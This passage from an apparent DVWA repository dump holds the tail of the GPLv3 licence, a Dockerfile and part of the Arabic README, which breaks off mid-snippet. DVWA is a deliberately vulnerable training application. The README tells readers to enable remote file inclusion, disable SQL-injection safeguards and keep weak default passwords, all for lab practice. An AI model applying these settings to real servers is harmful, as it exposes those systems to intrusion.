valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            "
  },
  {
    "path": "Dockerfile",
    "content": "FROM docker.io/library/php:8-apache\n\nLABEL org.opencontainers.image.source=https://github.com/digininja/DVWA\nLABEL org.opencontainers.image.description=\"DVWA pre-built image.\"\nLABEL org.opencontainers.image.licenses=\"gpl-3.0\"\n\nWORKDIR /var/www/html\n\n# https://www.php.net/manual/en/image.installation.php\nRUN apt-get update \\\n && export DEBIAN_FRONTEND=noninteractive \\\n && apt-get install -y zlib1g-dev libpng-dev libjpeg-dev libfreetype6-dev iputils-ping git \\\n && apt-get clean -y && rm -rf /var/lib/apt/lists/* \\\n && docker-php-ext-configure gd --with-jpeg --with-freetype \\\n && a2enmod rewrite \\\n # Use pdo_sqlite instead of pdo_mysql if you want to use sqlite\n && docker-php-ext-install gd mysqli pdo pdo_mysql\n\nCOPY --from=composer:latest /usr/bin/composer /usr/local/bin/composer\nCOPY --chown=www-data:www-data . .\nCOPY --chown=www-data:www-data config/config.inc.php.dist config/config.inc.php\n\n# This is configuring the stuff for the API\nRUN cd /var/www/html/vulnerabilities/api \\\n && composer install \\\n"
  },
  {
    "path": "README.ar.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nإن  Damn Vulnerable Web Application (DVWA) هو تطبيق ويب تم إضعافه عمداً ومصمم بـ PHP / MySQL. الهدف الرئيسي هو مساعدة مختصي أمن المعلومات وذلك باختبار مهاراتهم وأدواتهم في بيئة تشبه البيئة الحقيقية، ومساعدة مطوري الويب على فهم طرق تأمين تطبيقات الويب بشكل أفضل ومساعدة كل من الطلاب والمدرسين في التعرف على أمان تطبيقات الويب في بيئة محكمة.\n\nالهدف من DVWA هو **التدرب على بعض نقاط الضعف على الويب الأكثر شيوعًا** ، ضمن **مستويات مختلفة من الصعوبة** ، بواجهة بسيطة ومباشرة.\nيرجى ملاحظة أن هناك **ثغرات موثقة وغير موثقة** في هذا التطبيق ,هو إجراء متعمد. نحن نشجع على محاولة اكتشاف أكبر عدد ممكن من المشكلات.\n- - -\n\n## تحذير!\n\nإن  Damn Vulnerable Web Application (DVWA) ضعيف للغاية أمنياً! **لا تضعه في مجلد html العام في الاستضافة الخاصة بك أو الخوادم التي تعمل على الانترنت** ، إذ أنه سيتم اختراقها. يُوصى باستخدام كيان افتراضي (مثل [VirtualBox] (https://www.virtualbox.org/)  أو [VMware] (https://www.vmware.com/)) ، ويتم تعيينه على وضع شبكة NAT، يمكنك تنزيل وتثبيت [XAMPP] (https://www.apachefriends.org/) لخادم الويب وقاعدة البيانات.\n\n\n### إخلاء مسؤولية\n\nنحن لا نتحمل مسؤولية الطريقة التي يستخدم بها أي شخص هذا التطبيق (DVWA). إذ أننا أوضحنا أغراض التطبيق ولا ينبغي استخدامه بشكل ضار. لقد أصدرنا تحذيرات واتخذنا تدابير لمنع المستخدمين من تثبيت DVWA على خوادم الويب الحقيقية. إذا تم اختراق خادم الويب الخاص بك عن طريق تثبيت DVWA ، فهذه ليست مسؤوليتنا ، بل تقع على عاتق الشخص / الأشخاص الذين قاموا بتحميله وتثبيته.\n\n- - -\n\n## ترخيص\n\nهذا الملف جزء من Damn Vulnerable Web Application (DVWA).\n\nيعد تطبيق Damn Vulnerable Web Application (DVWA) برنامجًا مجانيًا: يمكنك إعادة توزيعه و / أو تعديله\nبموجب شروط   GNU General Public License  كما تم نشرها بواسطة\nFree Software Foundation ، إما الإصدار 3 من الترخيص ، أو \n(حسب اختيارك) أي إصدار لاحق.\n\nيتم توزيع Damn Vulnerable Web Application (DVWA) لتحقيق الفائدة ، \nولكن دون أي ضمان ؛ حتى بدون الضمان الضمني لـ \nالقابلية للتسويق أو الملاءمة لغرض معين. يرجى الاطلاع على \nترخيص  GNU General Public License لمزيد من التفاصيل.\n\n\nيجب أن تكون قد تلقيت نسخة من ترخيص    GNU General Public License \nمع   Damn Vulnerable Web Application (DVWA)، إذا لم تتلقى هذه الرخصة، يرجى الاطلاع  على   <https://www.gnu.org/licenses/>.\n\n- - -\n\n## الترجمة\n\nهذا الملف متوفر بعدة لغات:\n\n- الصينية: [简体中文](README.zh.md)\n- التركية: [Türkçe](README.tr.md)\n- العربية: [العربية](README.ar.md)\n\nإذا كنت ترغب في المساهمة في ترجمة ، يرجى تقديم  PR . ولا يعني ذلك مجرد استخدام خدمة الترجمة من Google وإرسال المساهمة ، إذ أنه سيتم رفضها.\n\n- - -\n\n## التحميل\n\nتوجد إصدارات مختلفة من DVWA حولها ، والإصدار الوحيد المدعوم هو أحدث مصدر من مستودع GitHub الرسمي. يمكنك إما سحب نسخة clone من الريبو Repo:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nأو  [تحميل ملف ZIP للملفات](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## التثبيت\n\n**يرجى التأكد من وجود ملف config / config.inc.php الخاص بك. إن وجود ملف config.inc.php.dist بمفرده لن يكون كافيًا ويجب عليك تعديله ليلائم بيئتك وإعادة تسميته إلى config.inc.php ، قد يخفي Windows امتدادات الملفات، يجب عليك إظهارها لتعديل امتداد الملف.](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)**\n\n### فيديو التثبيت\n\n- [تثبيت Damn Vulnerable Web Application (DVWA)  على نظام التشغيل Windows 10 ](https://www.youtube.com/watch?v=cak2lQvBRAo) [12:39 دقيقة]\n\n### تثبيت Windows + XAMPP\n\nأسهل طريقة لتثبيت DVWA هي تحميل [XAMPP] وتثبيته (https://www.apachefriends.org/) إذا لم يكن لديك خادم الويب جاهز ومعد مسبقاً.\n\nيعد XAMPP  وسيلة سهلة لتثبيت Apache Distribution في أنظمة Linux و Solaris و Windows و Mac OS X. تتضمن الحزمة خادم الويب Apache و MySQL و PHP و Perl وخادم FTP و phpMyAdmin.\n\nيمكن تحميل XAMPP من هنا:\n<https://www.apachefriends.org/>\n\nببساطة قم بفك ضغط dvwa.zip ، ضع الملفات التي تم فك ضغطها في مجلد html العام ، ثم اطلب العنوان التالي من المتصفح: `http://127.0.0.1/dvwa/setup.php`\n\n### حزم Linux\nإذا كنت تستخدم توزيعة Linux مبنية على Debian ، فستحتاج إلى تثبيت الحزم التالية _ (أو ما يكافئها) _:\n\n`apt-get -y install apache2 mariadb-server php php-mysqli php-gd libapache2-mod-php`\n\nسيعمل الموقع مع MySQL بدلاً من MariaDB لكننا نوصي بشدة باستخدام MariaDB لأنه يعمل خارج الصندوق، سيتعين عليك إجراء تغييرات لتمكين  MySQL  من العمل بشكل صحيح.\n\n### إعداد قاعدة البيانات\n\nلإعداد قاعدة البيانات ، ما عليك سوى الضغط على الزر `Setup DVWA` في القائمة الرئيسية ، ثم االضغط على الزر `Create / Reset Database`. سيؤدي هذا إلى إنشاء / إعادة تعيين قاعدة البيانات وإضافة بعض البيانات.\n\nإذا ظهر خطأ أثناء محاولة إنشاء قاعدة البيانات، فتأكد من صحة بيانات الدخول قاعدة البيانات (اسم المستخدم وكلمة المرور) في الملف `/config/config.inc.php` *وهذا الملف يختلف عن config.inc.php.dist والذي يعتبر مثال.*\n\nتم ضبط قيم المتحولات التالية افتراضياً وفق ما يلي:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nملاحظة ، إذا كنت تستخدم MariaDB بدلاً من MySQL (يعد MariaDB افتراضيًا في Kali) ، فلا يمكنك استخدام root كمستخدم، يجب عليك إنشاء مستخدم قاعدة بيانات جديد. للقيام بذلك ، اتصل بقاعدة البيانات بصفتك المستخدم root، ونفذ الأوامر التالية:\n\n```mysql\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### تكوينات  أخرى\n\nاعتمادًا على نظام التشغيل الخاص بك وإصدار PHP ، قد ترغب في تغيير التكوين الافتراضي default configuration. سيكون موقع الملفات مختلفًا حسب كل جهاز.\n\n**سماحيات المجلد**:\n* المسار `/hackable/uploads/` - يجب أن تستطيع خدمة الويب الكتابة على هذا الملف (لتنفيذ وظيفة تحميل الملف).\n* المسار `/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - يجب أن تستطيع خدمة الويب الكتابة على هذا الملف (إذا كنت ترغب باستخدام PHPIDS).\n\n\n**تكوين PHP**:\n* الخيار `allow_url_include = on` - السماح بتضمين الملفات عن بعد  Remote File Inclusions (RFI)   [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n* الخيار `allow_url_fopen = on` -  السماح بتضمين الملفات عن بعد  Remote File Inclusions (RFI)    [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n* الخيار `safe_mode = off` - (إذا كان إصدار PHP أقل من أو يساوي 5.4) السماح بحقن SQL  - SQL Injection (SQLi) [[safe_mode](https://secure.php.net/manual/en/features.safe-mode.php)]\n* الخيار `magic_quotes_gpc = off` - (إذا كان إصدار PHP أقل من أو يساوي 5.4) السماح بحقن SQL  - SQL Injection (SQLi) [[magic_quotes_gpc](https://secure.php.net/manual/en/security.magicquotes.php)]\n* الخيار `display_errors = off` - (اختياري)  إخفاء رسائل تحذير PHP لجعلها أقل إسهابًا  [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n**الملف:  `config/config.inc.php`**:\n\n* المتحولات `$_DVWA[ 'recaptcha_public_key' ]`  و`$_DVWA[ 'recaptcha_private_key' ]`  يجب توليد قيم هذه المتحولات وذلك من خلال:  https://www.google.com/recaptcha/admin/create\n\n### بيانات الدخول الافتراضية\n\n**اسم المستخدم الالافتراضي  = `admin`**\n\n**كلمة المرور الافتراضية  = `password`**\n\n_...يمكن بسهولة تخمينها باستخدام هجوم Brute Force ;)_\n\nرابط تسجيل الدخول : http://127.0.0.1/login.php\n\n_ملاحظة: سيختلف الرابط في حال تثبيت DVWA في مسار مختلف._\n\n- - -\n\n## حاوية Docker\n\n- يمكنك زيارة [dockerhub صفحة](https://hub.docker.com/r/vulnerables/web-dvwa/)\n`docker run --rm -it -p 80:80 vulnerables/web-dvwa`\n\nيرجى التأكد من أنك تستخدم aufs بسبب مشاكل MySQL السابقة. نفذ الأمر `docker info` للتحقق من storage driver. إذا لم يكن aufs ، يرجى تغييره على هذا النحو. هناك أدلة لكل نظام تشغيل حول كيفية القيام بذلك ، لكنها مختلفة تمامًا لذا لن نغطي ذلك هنا.\n\n- - -\n\n## استكشاف الأخطاء وإصلاحها\n\nيفترض هذا أنك تستخدم توزيعة قائمة على Debian ، كـ Debian و Ubuntu و Kali. بالنسبة إلى التوزيعات الأخرى ، اتبع ذلك ، ولكن قم بتعديل الأمر عند الضرورة.\n\n### الحصول على استجابة 404 عند تصفح الموقع\n\nإذا كنت تواجه هذه المشكلة ، فأنت بحاجة إلى فهم مواقع الملفات. بشكل افتراضي ، جذر مستندات Apache (Apache document root  هو المكان الذي يبدأ فيه البحث عن محتوى الويب) هو  `/var/www/html/` إذا وضعت الملف `hello.txt` في هذا المجلد، يمكن الوصول إليه بطلب `http://localhost/hello.txt` من المتصفح.\n\nإذا أنشأت مجلد ووضعت الملف فيه - `/var/www/html/mydir/hello.txt` فيمكنك الوصول إلى الملف من الخلال المتصفح بزيارة `http://localhost/mydir/hello.txt`.\n\nيعتبر Linux بشكل افتراضي حساسًا لحالة الأحرف ، وبالتالي في المثال أعلاه ، إذا حاولت التصفح للوصول إلى أي من الروابط التالية، فستحصل على  `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nكيف يؤثر ذلك على DVWA؟ يستخدم معظم الأشخاص git للتحقق من DVWA في `/var/www/html` ، وهذا يمنحهم الدليل `/var/www/html/DVWA/` متضمنة جميع ملفات DVWA بداخله. ثم يقومون بطلب الرابط `http://localhost/`من المتصفح ويحصلون على 404 أو الصفحة الافتراضية في Apache. نظرًا لأن الملفات موجودة في مجلد DVWA ، يجب طلب `http://localhost/DVWA`.\n\nالخطأ الشائع الآخر هو طلب الرابط `http://localhost/dvwa`  والذي سيعطي` 404` لأن `dvwa` ليس` DVWA` بسبب حساسية الأحرف في  Linux.\n\nلذلك بعد الإعداد ، إذا حاولت زيارة الموقع والحصول على \"404\" ، ففكر في المكان الذي قمت بتثبيت الملفات فيه ، وأين ترتبط بالمسار الأساسي ، وما هو اسم المجلد  الذي استخدمته.\n\n\n### مشكلة \"Access denied\"\n\nإذا رأيت ما يلي عند تشغيل البرنامج النصي للإعداد setup script ، فهذا يعني أن اسم المستخدم أو كلمة المرور في ملف التكوين لا يتطابقان مع تلك التي تم تكوينها في قاعدة البيانات:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nيخبرك الخطأ أن اسم المستخدم هو `notdvwa`.\n\nيشير الخطأ التالي إلى أنك وجهت ملف التكوين إلى قاعدة البيانات الخاطئة.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nرسالة الخطأ توضح أنك تستخدم المستخدم `dvwa` وتحاول الاتصال بقاعدة البيانات `notdvwa`.\n\nأول ما يجب القيام به هو التحقق مرة أخرى مما تعتقد أنك قد وضعته في ملف التكوين صحيح ومطابق للبيانات الفعلية.\n\nإذا كان يتطابق مع ما تتوقعه ، فإن الشيء التالي الذي يجب فعله هو التحقق من أنه يمكنك تسجيل الدخول كمستخدم في محرر الأوامر command line. بافتراض أن لديك مستخدم قاعدة بيانات لـ `dvwa` وكلمة مرور هي `p@ssw0rd`، قم بتنفيذ الأمر التالي:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*ملاحظة: لا يوجد مسافة بعد  -p*\n\nإذا ظهر الخرج التالي، فكلمة المرور صحيحة:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nنظرًا لأنه يمكنك الاتصال في سطر الأوامر ، فمن المحتمل أن يكون هناك خطأ ما في ملف التكوين ، تحقق مرة أخرى من ذلك ثم قم بإنشاء تذكرة للمشكلة إذا كنت لا تزال غير قادر على التشغيل.\nإذا رأيت ما يلي ، فإن اسم المستخدم أو كلمة المرور التي تستخدمها غير صحيحة. كرر خطوات [إعداد قاعدة البيانات](#إعداد-قاعدة-البيانات) وتأكد من استخدام اسم المستخدم وكلمة المرور نفسهما طوال العملية.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nإذا حصلت على ما يلي ، فإن بيانات الدخول صحيحة ولكن ليس لدى المستخدم حق الوصول إلى قاعدة البيانات. مرة أخرى ، كرر خطوات الإعداد وتحقق من اسم قاعدة البيانات التي تستخدمها.\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nالخطأ النهائي  الذي يمكن أن تحصل عليه هو :\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nهذه ليست مشكلة مصادقة ولكنها تخبرك أن خادم قاعدة البيانات لا يعمل. يمكنك تشغيله بتنفيذ الأمر التالي\n\n```sh\nsudo service mysql start\n```\n\n### مشكلة Unknown authentication method\n\nمع أحدث إصدارات MySQL ، لم يعد بإمكان PHP الاتصال بقاعدة البيانات في تكوينها الافتراضي. إذا حاولت تشغيل البرنامج النصي للإعداد setup script وتلقيت الرسالة الjالية ، فهذا يعني أنه عليك إجراء بعض التعديلات على التكوين.\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nلديك خياران ، أسهلهما هو إلغاء تثبيت MySQL وتثبيت MariaDB. تجد في الرابط التالي الدليل الرسمي لمشروع MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nبدلاً من ذلك، اتبع الخطوات التالية:\n\n1- باستخدام الحساب root، عدل الملف التالي: `/etc/mysql/mysql.conf.d/mysqld.cnf`.\n\n2- أضف ما يلي تحت لاسطر `[mysqld]`:\n  `default-authentication-plugin=mysql_native_password`\n  \n3- أعد تشغيل خدمة قواعد البيانات: `sudo service mysql restart`.\n\n4- تخقق من طريقة المصادقة الخاصة بحساب قاعدة البيانات:\n\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n\n5- من المرجح أنها `caching_sha2_password`، إذا كان كذلك، نفذ ما يلي:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n\n6- تحقق مجدداً، يجب أن تصبح الآن `mysql_native_password` .\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nبعد كل ما سبق، يجب أن تعمل عملية الإعدد بحالتها الطبيعية.\n\nإذا كنت تريد المزيد من المعلومات يرجى الاطلاع على:  <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### مشكلة Database Error #2002: No such file or directory.\n\nإذا كان خادم قاعدة البيانات لا يعمل. وكنت تسخدم توزيعة مبنية على Debian، يمكن القيام بذلك باستخدام:\n\n```sh\nsudo service mysql start\n```\n\n### معالجة الأخطاء  \"MySQL server has gone away\" و  \"Packets out of order\"\n\nهناك عدة أسباب لحدوث هذه الأخطاء ، ولكن السبب المرجح هو عدم توافق إصدار خادم قاعدة البيانات مع إصار PHP.\n\nوهو الأكثر شيوعًا عند تشغيل أحدث إصدار من MySQL و PHP ، لا يعمل التطبيق بشكل جيد. ولذلك ننصح باستبدال MySQL  بـ MariaDB  لأن هذه المشكلة لا يوجد دعم لها في الوقت الحالي.\n\nلمزيد من المعلومات، يرجى الاطلاع على:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### لا يعمل حقن SQL باستخدام  PHP v5.2.6\n\nتوقف دعم PHP 5.x منذ يناير 2019 ، لذلك نوصي بتشغيل DVWA بإصدار 7.x الحالي ، إذا كنت مضطراً لاستخدام الإصدار 5.x ..\n\nإذا كنت تستخدم إصدار PHP v5.2.6 أو أحدث ، فستحتاج إلى القيام بما يلي حتى يعمل حقن SQL والثغرات الأمنية الأخرى.\n\nاستبدل الآتي في ملف `htaccess.`:\n\n```php\n<IfModule mod_php5.c>\n    php_flag magic_quotes_gpc off\n    #php_flag allow_url_fopen on\n    #php_flag allow_url_include 